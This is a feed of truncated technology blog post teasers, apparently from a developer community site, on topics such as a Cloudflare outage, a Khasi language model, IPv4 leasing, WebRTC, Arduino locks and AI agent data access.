It started the way most digital disasters do—quietly, almost innocently. At 6:20 AM Eastern Time on Tuesday, November 18, 2025, developers around the world began noticing something strange. Websites weren't loading. APIs were timing out. Error messages appeared where content should be. And then, all at once, the internet broke. Picture this: You're reaching for your morning coffee, opening your laptop to check the news on X (formerly Twitter), planning to queue up some Spotify for your commute, maybe tackle that design project in Canva. Instead, you're greeted with a cold, impersonal message: Internal server error on Cloudflare's network Error 500 You refresh. Nothing. You try ChatGPT—surely AI should be working, right? Nope. Same error. Claude AI? Down. Spotify? Unreachable. Even League …  ( 14 min )

We just released Kren-M™, a production-ready bilingual foundation model for Khasi and English. No outside funding rounds. No imported talent. No compromise on local understanding. We did it internally at MWire Labs (the AI research division of MWire, a Shillong-based firm that has delivered IT systems and solutions serving 8+ million citizens since 2017). Because when it comes to Northeast languages, the deepest expertise isn’t in Bangalore or California — it’s right here in the hills. Big labs throw hundreds at Indic models. We threw eight years of on-the-ground experience. We know Khasi isn’t just tokens, it’s morphology, dialect variation, cultural nuance that only someone who grew up hearing it can capture. That’s why our tokenizer cuts Khasi token count by 36 %. That’s why the model never auto-translates unless asked. That’s why it sounds like home. Kren-M™ (Gemma-2-2B base, 2.6B params): Custom tokenizer with 2,135 Khasi/Garo tokens 5.43 M hand-cleaned Khasi sentences (proprietary — our moat) Fully task-aware SFT — natural bilingual behaviour Runs offline on 6 GB VRAM Live: https://huggingface.co/MWirelabs/Kren-M White paper: https://mwirelabs.com/models/kren-m Preprint (DOI): https://www.researchsquare.com/article/rs-8144118/v1 We also open-sourced the one of the largest public Assamese & Mizo corpora + the first Garo corpus ever. Early 2026: Expect Kren-NE, Gemma-2-9B multilingual covering Khasi, Garo, Mizo, Assamese, Meitei, Nagamese, Kokborok and more. All built the same way: local team, local data, local control. The future of Northeast AI won’t be built in glass towers far away. It will be built here, by us, for us. NEindicLLM #KhasiLLM #MeghalayaAI #NortheastAI  ( 7 min )

A post by Engr. Ipaye Babatunde  ( 6 min )

The Problem: When Backups Take Forever I was backing up my entire Documents folder to an external SSD. Simple task, right? Wrong. 2 hours later, I was still watching the progress bar crawl. Not because of large video files or databases — but because of node_modules. Those tiny JavaScript files, tens of thousands of them per project, were destroying my backup speed. The issue wasn't even the disk space (though yeah, 10GB is 10GB). It was the sheer number of files. Each node_modules folder has thousands of tiny dependencies, and copying thousands of small files is painfully slow compared to a few large ones. I had dozens of old projects in my Documents folder. Projects I hadn't touched in months. Each one still carrying around its own bloated node_modules like dead weight. The Breaking Point…  ( 7 min )

Every infrastructure team eventually hits the same wall: you need more IPv4 addresses, and you need them yesterday. I've seen teams burn weeks debating whether to buy or lease. The problem? They're asking the wrong question. It's not about which option is "better"—it's about which option fits your specific situation. Here's a practical framework I use to cut through the noise. Forget the marketing fluff. Your decision comes down to three numbers: Time horizon (in months) Capital availability (cash on hand vs. monthly budget) Flexibility requirements (scale up/down probability) Let me show you how to use these. Break-even (months) = Purchase Price per IP / Monthly Lease Rate With current 2026 market rates: Purchase: ~$28-30 per IP Lease: ~$0.38-0.45 per IP/month Plugging in median values: …  ( 7 min )

Continuous Integration (CI) and Continuous Delivery (CD) are fundamental practices in DevOps that revolutionize the software development lifecycle. By automating key processes, CI/CD enables teams to implement rapid code changes and consistently deliver high-quality applications to users. CI/CD represents a set of practices that streamline the integration and delivery of software: Continuous Integration (CI): This focuses on automating the integration of code changes from multiple contributors. When developers commit code, CI tools automatically build and test the changes, helping identify issues early. Continuous Delivery (CD): This extends the CI process, automating the deployment of applications to various environments. With CD, new features and updates can be released to users swiftl…  ( 8 min )

Where Have All The Metalheads Gone? takes you on a headbanging trip through metal’s past, checks in on what the scene looks like today, and even speculates about where it might be headed next. Huge thanks to the Beato Club squad—over 50 dedicated supporters (from Justin Scott and Terence Mark to Piush Dahal and Toby Guidry) who keep the riff train rolling. Watch on YouTube  ( 6 min )

The U.S. dairy industry is standing at a rare crossroads. Domestic demand remains strong, innovation is accelerating, and global markets are expanding faster than ever before - especially in regions where rising incomes, urbanization, and evolving food habits are driving an unprecedented appetite for high-quality dairy products. For small and mid-sized dairy companies across the United States, this moment represents more than just an opportunity — it’s an open gateway to global expansion, increased profitability, and long-term brand resilience. Yet tapping into the international dairy trade requires more than production strength. It demands strategic foresight, compliance mastery, and a workforce capable of executing global ambitions with precision. This article explores the landscape of d…  ( 9 min )

Are you building a video conferencing, live streaming, or telehealth app? Then the WebRTC MediaStream API is your foundation. Learn how to grab camera/mic, manipulate tracks, and connect to peers — all with production-ready tips and code. 🔍 In our guide you’ll explore: What a MediaStream is and how it works in a WebRTC flow. Key interfaces like MediaStreamTrack, and methods such as getUserMedia(), addTrack(), removeTrack(). How to integrate advanced processing (Canvas, Web Audio) for custom effects. Constraints and quality tuning (video resolution, frame rate, echo cancellation). Connecting the stream into RTCPeerConnection: publishing and receiving tracks. Production best-practices: cleaning up streams, error handling, debugging via Chrome DevTools. Browser compatibility, secure contexts (HTTPS), polyfills. How Ant Media Server extends and accelerates this: ultra-low latency (200-500 ms), large-scale streaming, protocol conversion (WebRTC ↔ RTMP ↔ HLS). If you’re ready to build robust, scalable real-time video experiences — this guide is your next stop. Don’t just stream — stream smart. 👉 Read the full guide on Ant Media’s blog  ( 6 min )

Master 80% of Notion with Relations Most Notion setups get messy when your tasks, notes, and projects live in isolated databases. This video dives into the Relations feature—just a 2-minute learn—that lets you link databases so each view only shows what’s relevant, forming the backbone of powerful Notion systems. In a hands-on walkthrough (with handy timestamps), you’ll see how to connect databases, build self-filtering templates, and automate new project setup. Plus, grab a free dupable template, explore the full Command Center course, and level up your workspace with extra resources. Watch on YouTube  ( 6 min )

Streamlining PrestaShop: How AI Uncovers the Power of MCP Tools For any PrestaShop e-commerce manager, the grind of repetitive duties like generating sales reports or meticulous inventory audits can quickly consume valuable time and hinder growth. Enter the PS MCP Server and the MCP Tools Plus module: a duo designed to integrate an AI assistant directly into your online store. These innovative solutions aren't about a grand technological overhaul; they focus on practical problem-solving – saving countless hours on data analysis, automating routine reports, and empowering swift, data-backed decision-making. This article explores the synergy between these tools, without delving into deep technicalities. We will examine common operational hurdles, highlight the core capabilities of MCP Tool…  ( 12 min )

Both OpenAI’s GPT-5.1 and Google’s Gemini 3 Pro represent incremental but meaningful steps in the ongoing arms race for general-purpose, multimodal AI. GPT-5.1 is a refinement of the GPT-5 line — focusing on adaptive reasoning, lower latency for simple tasks, and stylistic/personality controls for more natural conversational tone. Google’s Gemini 3 Pro pushes the frontier on multimodality, deep reasoning modes, and tight tooling for agentic workflows. GPT-5.1 (OpenAI) and Gemini 3 Pro Preview (Google/DeepMind) target overlapping but distinct tradeoffs: GPT-5.1 focuses on faster adaptive reasoning, developer workflows and coding reliability with new agent/coding tools and token/cost optimizations; Gemini 3 Pro doubles down on extreme multimodal scale (video/audio/images + very large context…  ( 14 min )

Summary Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science on The Ringer’s Rewatchables, unpacking its mix of teen fantasy, sex, drugs, rock ’n’ roll and standout turns from Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo and sponsored by State Farm, this episode is a fun, nostalgia-packed romp. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons YouTube channels and follow Ringer on Twitter, Facebook and Instagram for more deep dives! Watch on YouTube  ( 6 min )

CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” using Wicked’s big-screen comeback as an excuse to blaze down the yellow brick road and roast every musical misstep and wardrobe whoopsie of the ’78 classic. Spoiler alert: it’s surprisingly more entertaining than you remember. Want more sin? Hit up their Linktree for the latest videos, toss them a coin on Patreon, and junk-mail Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on Twitter. You can also join the chatter on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )

Sector HQ Weekly Digest - November 19, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 530124.7 | 343 events this week Anthropic - Score: 253535.7 | 51 events this week Google - Score: 158934.0 | 125 events this week Amazon - Score: 135271.9 | 22 events this week Microsoft - Score: 134009.8 | 99 events this week Nvidia - Score: 124577.5 | 161 events this week Meta - Score: 94628.0 | 61 events this week Apple - Score: 76821.9 | 94 events this week Perplexity - Score: 47342.6 | 3 events this week DeepMind - Score: 41453.5 | 8 events this week ↑ Sony jumped 277 positions to #68 ↑ Stability AI jumped 183 positions to #76 ↑ Bytedance jumped 143 positions to #52 ↑ Scale AI jumped 122 positions to #43 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )

Overview Hello everyone 👋 Today I'm excited to share something I've been working on that's pretty close to my heart: Domenico Tenace Open Labs, my new GitHub organization dedicated to open source projects. If you're wondering why I decided to create this, well, it's simple: I wanted a centralized space where all my open source work could live, breathe, and grow with the help of the community. No more scattered repos, no more confusion about where to find what. Just a clean, organized digital lab where developers can explore, use, contribute, and learn together. Let's start! 🤙 You might be asking yourself: "Why not just keep everything in your personal GitHub account?" Fair question! Here's the thing: as my projects started to grow, I realized they needed a proper home. An organization …  ( 9 min )

In the first part, I referenced DeAI and how Oasis suggests a combination of RONL (runtime on-chain logic, Sapphire confidential EVM) and ROFL (runtime off-chain logic, framework) components, with SGX and TDX TEEs, pave the groundwork for trustworthy AI models. Here, I will show fine-tuning of an LLM in Oasis TEE and publishing provenance information on-chain. Fine-tuning an LLM in a TEE In this experiment, we will try to integrate a GPU-enabled TEE with Oasis. We will use fine-tuning for a sample machine learning (ML) task where we will teach a new fact to an existing foundation model. This ML task is set up using a server with AMD SEV-SNP and an NVIDIA H100 to run a confidential VM in accordance with NVIDIA’s deployment guide. The confidential VM shares an initialization script with th…  ( 8 min )

🔍 difit: Preview GitHub-like diffs locally before you push Yuji Ueki ・ Jul 18 #git #cli #productivity #devtools  ( 6 min )

Most voice AI systems today are built as a fixed chain: STT → LLM → TTS → Audio Output. This works for demos, but falls apart the moment you need: Custom business logic CRM integrations Multi-agent routing Knowledge lookups Scheduling flows Post-call actions Pipeline branching Swappable providers (Claude vs GPT, Deepgram vs Whisper, etc.) So for EchoStack, I scrapped the idea of a “voice bot pipeline” entirely and built a voice automation platform powered by an event-driven orchestration layer. Here’s how the architecture works — and why it has completely changed what’s possible with real-time AI. Not STT. Just pure audio transport: User Mic → LiveKit → EchoStack EchoStack → LiveKit → User Speaker Inside EchoStack, every audio frame becomes an event: processing.livekit.audio_frame This…  ( 8 min )

After a decade of building systems in .NET from small internal tools to large-scale enterprise platforms. I’ve learned that great software isn’t just about code. It’s about craftsmanship. Here are 10 lessons that stuck with me 👇 1️⃣ Clean code always wins long-term. Quick fixes impress today, but clarity impresses for years. 2️⃣ Patterns are tools, not rules. Don’t force CQRS, DDD, or Clean Architecture unless they solve your actual problem. 3️⃣ Tests are your safety net. Nothing feels better than refactoring confidently because your tests have your back. 4️⃣ Readability > Cleverness. Future-you (and your teammates) will thank you. 5️⃣ Don’t optimize prematurely. Measure first, then act. Performance tuning starts with data, not assumptions. 6️⃣ Understand business logic deeply. The best developers write code that solves the right problem, not just the technical one. 7️⃣ Refactoring is a continuous process. Not a one-time event after the sprint ends. 8️⃣ Learn beyond .NET. Architecture, DevOps, design, and communication matter as much as C#. 9️⃣ Mentorship amplifies your impact. Teaching others sharpens your own skills — and lifts the team. 🔟 Humility keeps you growing. The moment you think you’ve mastered it all, you stop learning. After 7 years, I’ve realized: “Being a Senior developer isn’t about knowing everything — it’s about knowing what truly matters.” 💬 What’s one lesson you learned in your software journey?  ( 7 min )

Hi, I am a technology consultant at a leading software, web, mobile and eCommerce development company based in India and the USA. Last week, one of our clients requested a 3D product viewer for their eCommerce store, and our developers wanted to explore more about how to build fast 3D product viewers using React and Three.js. So we created detailed content to help both developers and merchants understand how 3D viewers work and how they can boost conversions in modern eCommerce stores. Let’s begin! 3D product experiences are no longer “future emerging tech”; they are now driving real conversions for online eCommerce stores. With Three.js, React, and lightweight 3D model formats like GLTF/GLB, developers can build immersive product viewers that help customers understand products better, red…  ( 8 min )

Introduction Welcome back, makers! 👋 In this project, you’ll learn how to lock and unlock a solenoid lock using: 1. Arduino Mega 2. A relay module 3. 12V power supply 4. Simple push button Breadboard Jumper wires(male to male and male to female) By the end, you’ll push a button → the solenoid will pull → the lock will OPEN. Push the button again → the solenoid releases → the lock goes back to LOCKED. Let’s dive in! Component Image Description Arduino Mega Microcontroller to read button and control relay 12V Solenoid Lock The physical locking mechanism Relay Module (5V Control) Acts as a switch to send 12V to the solenoid 12V Power Adapter Powers the solenoid and Arduino Push Button Triggers lock/unlock Breadboard & Jumper Wires For easy wiring Here’s the wiring…  ( 8 min )

The New Analytics Stack: Data → Views → Tools → Agents The modern analytics stack has quietly gone through a massive shift. It's no longer about dashboards—in fact, it's barely about interfaces anymore. We're moving into a world where "chatting with your data" becomes the primary way teams get answers. Dashboards were built for a different era: Static views: Dashboards show what someone decided was important when they built it. They don't adapt to new questions or changing priorities. Predefined slices: You can only see data the way the dashboard designer structured it. Want to see it differently? Build a new dashboard. Horizontal summaries: Dashboards show high-level metrics across many dimensions, but they can't go deep. They show you that revenue is up 20%, but not why. Useful, sure—b…  ( 16 min )

Hi Everyone , I am new to learning Spring Framework and have started to write about the topics I am learning , sharing them here about the same. Spring Bean If you're diving into the Spring Framework, you've probably encountered terms like Spring Bean, Spring Container, and ApplicationContext. These concepts are the foundation of what makes Spring so powerful and flexible. Think of them as the essential building blocks for your modern Java application. 🧱 What is a Spring Bean? POJO with a twist: A bean is essentially a Plain Old Java Object (POJO) that Spring manages. Managed Lifecycle: Spring controls the entire lifecycle of a bean, from its creation and initialization to the injection of its dependencies and eventual destruction. Definition: You tell Spring which classes should become b…  ( 7 min )

Practical survival strategies for the modern office ecosystem. There’s a magical moment in every office: exactly 4:58 PM. Leave too early, and people notice. Here’s how to master the balance: 3:45 PM — Slowly close a browser tab. Preferably the one with a recipe for lasagna. 4:30 PM — Take a deep, purposeful sigh, as if you’re solving the world’s problems. 4:58 PM — Open an Excel sheet. Stare at it like it’s the night sky. 5:00:01 PM — Stand up gracefully, as if someone gently unplugged you. 5:01 PM — Walk out calmly, like someone who always finishes on time. Even if that’s a small fib. Do it right, and no one will notice the last 40 minutes you were mentally already on the couch. There’s an unspoken theory: if a team member sits quietly and never complains, they must be availab…  ( 7 min )

The age-old debate – What’s better for development: JavaScript or TypeScript? Okay, maybe it isn’t an age-old conundrum, but it does make several developers scratch their heads before beginning a web development undertaking. Before we dive into these languages (or offshoots of the same language) and discuss their differences as well as which one we believe you should use in your next project, let’s have a look at exploring what they are if you are new to them. JavaScript is an interpreted programming language that allows us to build amazing features on web pages – at least that’s how it would have been defined a couple of years ago – but JavaScript no longer refers to the programming language that simply aids HTML and CSS in building fabulous websites by controlling the behavior of fea…  ( 17 min )

Structured Endpoints: The Missing Layer Between Data and AI Agents APIs are too rigid, databases are too risky. We believe structured endpoints—governed views that agents can query safely—are the missing piece that makes AI agents actually work in production. Every time I talk to teams building AI agents, they hit the same wall: how do you give agents access to data? Option 1: Direct database access. Fast, flexible, powerful. Also: security nightmare, governance impossible, performance unpredictable. Agents can query anything, see everything, and bring down your database with a single bad query. Option 2: APIs. Secure, controlled, documented. Also: rigid, limited, slow. APIs expose predefined endpoints with fixed schemas. Agents can only do what the API designer thought of. New questions…  ( 17 min )

If you are building applications with Large Language Models (LLMs), you are likely familiar with the "Token Tax." Every character you send to an API like OpenAI or Anthropic costs money and eats into your context window. We’ve spent decades treating JSON as the gold standard for data serialization, and for good reason—it's readable and ubiquitous. But JSON is chatty. It loves whitespace, it demands quotes around every key, and it uses heavy punctuation ({, }, [, ]) that adds up quickly when you are sending thousands of records in a prompt. Enter CTON (Compact Token-Oriented Notation). CTON is an aggressively minified, shape-preserving data format designed specifically for LLM interactions. It strips away the syntactic sugar humans like (indentation, excessive quoting) but keeps the structu…  ( 8 min )

The Best AI Articles Dev.to Won’t Show You Isaac Hagoel ・ Nov 18  ( 6 min )